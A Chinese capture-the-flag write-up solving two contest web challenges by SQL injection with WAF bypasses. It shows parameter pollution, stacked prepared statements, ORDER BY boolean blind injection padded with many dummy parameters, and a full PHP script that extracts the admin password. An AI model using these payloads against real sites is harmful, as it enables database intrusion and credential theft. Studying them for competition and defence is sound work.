网络知识 娱乐 国际数字经济博览会安全大赛-Aliyun&Qcloud详细writeup

国际数字经济博览会安全大赛-Aliyun&Qcloud详细writeup

前言

这次跟着Venom的师傅们一起参加了国际数字经济博览会的线下赛,谢谢师傅们带躺到第三hhh,CTF解题赛的三道云安全的题目感觉还挺经典的,拿了其中一道Aliyun题的一血,另一道题快做出来的时候队里的师傅就做出来了Orz,Jdyun的全程自闭没有做出来也是很遗憾(最终在主办方放了两个hint后第一名的M01N战队做出了全场唯一解,师傅们太强了),故写下wp记录一下。

ALiyun

解题过程:

1.尝试了下单引号,发现爆错了,应该就是个注入

sql注入绕waf

2.经多次fuzz发现

  • hpp可以过union select , 属于云waf层的防护
  • user show 关键字被单独处理过滤了直接返回index页面,属于代码层的防护
  • 测试分号发现可以堆叠注入,但set xxx prepare 的形式被过滤

3.查找了下mysql官方文档发现:用select into可以代替set绕过filter,其他的就是堆叠注入的老套路预编译绕过filter

最终的payload:

/index.php?username=a&username=a';select+0x73656C656374202A2066726F6D206163653234326636393462386537316261383165316232373935653531656639323163+into+@a;select+@a;prepare+execsql+from+@a;execute+execsql;--+&password=123;--+ HTTP/1.1

Qcloud

解题过程:

1.扫目录发现 /admin 返回的页面中有隐藏表单,后面根据表单猜测可能存在user表以及name和password字段,当然这是做到后面才想到出题人留这个页面的原因=。=

    <html>
    <head>
    <title>施工中</title>
    </head>
    <body>
    <h1>施工中,请3年后再来:)</h1>
    <div style="display:none;">
    <form action="/user" method="POST">
    <p>name: <input type="text" name="name" /></p>
    <p>passwd: <input type="text" name="password" /></p>
    <input type="submit" value="Submit" />
    </form>
    </div>

    </body>
    </html>

2.抓包发现一个获取文章的接口,存在orderby和limit参数,尝试注入(if(1,1,2))返回'405 您访问的URL可能有风险',因此大概率也是道注入绕waf的题目

3.先判断是否是orderby注入

/api?orderby=date&limit=5
/api?orderby=date--+&limit=5

可以看到利用orderby后面的注释符我们成功使limit字段失效了,因此这里可以确定是一个orderby后的sql注入

4.经过fuzz发现几个比较难绕过的点

a.if被过滤了

b.from被过滤了

c.各种字符串相关的函数被过滤,但是漏了个lpad可以用

后面和师傅们讨论后,对于if被过滤我们可以用下面两种形式的payload绕过做bool盲注

#Yan表哥的payload
orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3
orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3
#我自己的payload
orderby=id|((select+abs(-5)=4)%2b1)--+&limit=3
orderby=id|((select+abs(-5)=5)%2b1)--+&limit=3
GET /api?orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3 HTTP/1.1
Host: qcloud.xctf.org.cn:8099
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://qcloud.xctf.org.cn:8099/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

1=1

1=2

但是这里还是有个问题,跑flag的话flag在另一个表里,当前表column数为4且不存在flag的column,因此肯定是一定要用到from关键字的,一开始以为应该也是绕云waf,试了超长uri发现不行就感觉可能是有代码层绕过的奇技淫巧么,在感觉凉凉的时候,Yan表哥反手就是一个超多前置参数绕过云waf的from关键字还有,哦豁这下不仅仅是from关键字可以bypass,甚至连其他字符串函数也可以使用了,还是不够细心啊试了超长uri却没有试超多前置参数。

payload:

/api?a0=0&a1=1&a2=2&a3=3&a4=4....(此处省略n多类似参数)...&a0=1&a1=2...&orderby=(case+when+((substr((select+id+from+(user)+limit+0,1),1,1))='1')+THEN+id+ELSE+title+END)&limit=3

5.最后就是写盲注脚本跑flag,结合提示要我们获取admin的密码,还有步骤1里的表单:user表 name passwd字段,Yan表哥的exp写得比较好看就放Yan表哥的啦=。= exp.php

<?php
function inject($sql) {
    $ret = false;
    $req = curl_init("http://qcloud.xctf.org.cn:8099/api?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a10=1&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c1=19&orderby=(CASE+WHEN+(${sql})+THEN+id+ELSE+title+END)&limit=3");
    curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($req, CURLOPT_HTTPHEADER, array("Accept: application/json, text/javascript, */*","X-Requested-With: XMLHttpRequest","User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Referer: http://qcloud.xctf.org.cn:8099/","Connection: close","Accept-Encoding: gzip, deflate","Accept-Language: zh-CN,zh;q=0.9,en;q=0.8","Content-Type: application/x-www-form-urlencoded"));
    $result = curl_exec($req);
    if(curl_getinfo($req, CURLINFO_HTTP_CODE) == 200){
        if (strstr($result, "Raspberry")) {
            $ret = true;
        }else{
            $ret = false;
        }
    }else{
        echo "Status Code:".curl_getinfo($req, CURLINFO_HTTP_CODE)."n";
        echo "Response body: ".$result."n";
        die();
    }
    curl_close($req);
    return $ret;
}


$password = "flag{b9116b07";
$j = strlen($password)+1;


$letters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-}{~!@$%^&*()_";
while (1) {
    for ($i=0; $i < strlen($letters); $i++) { 
        $s = substr($letters, $i,1);
        $sql = "(substr((select+password+from+(user)+limit+0,1),${j},1))='$s'";
        $res = inject($sql);
        if ($res == true){
            $password .= $s;
            $j++;
            break;
        }


    }
    echo $password."n";
}
// flag{b9116b07-0583-4ab7-abf7-4f25d0e8172d}
?>

6.这道题就结束了吗?还没有哈哈=。= 针对4里的from的过滤假如没有云waf层的通用bypass而是代码层的filter呢? 请教了下我无敌的@放师傅,看到下面这个payload涨姿势了,吹一波我放师傅=。=

select name,1e1from user;#试了下这个可以过from的检测

后语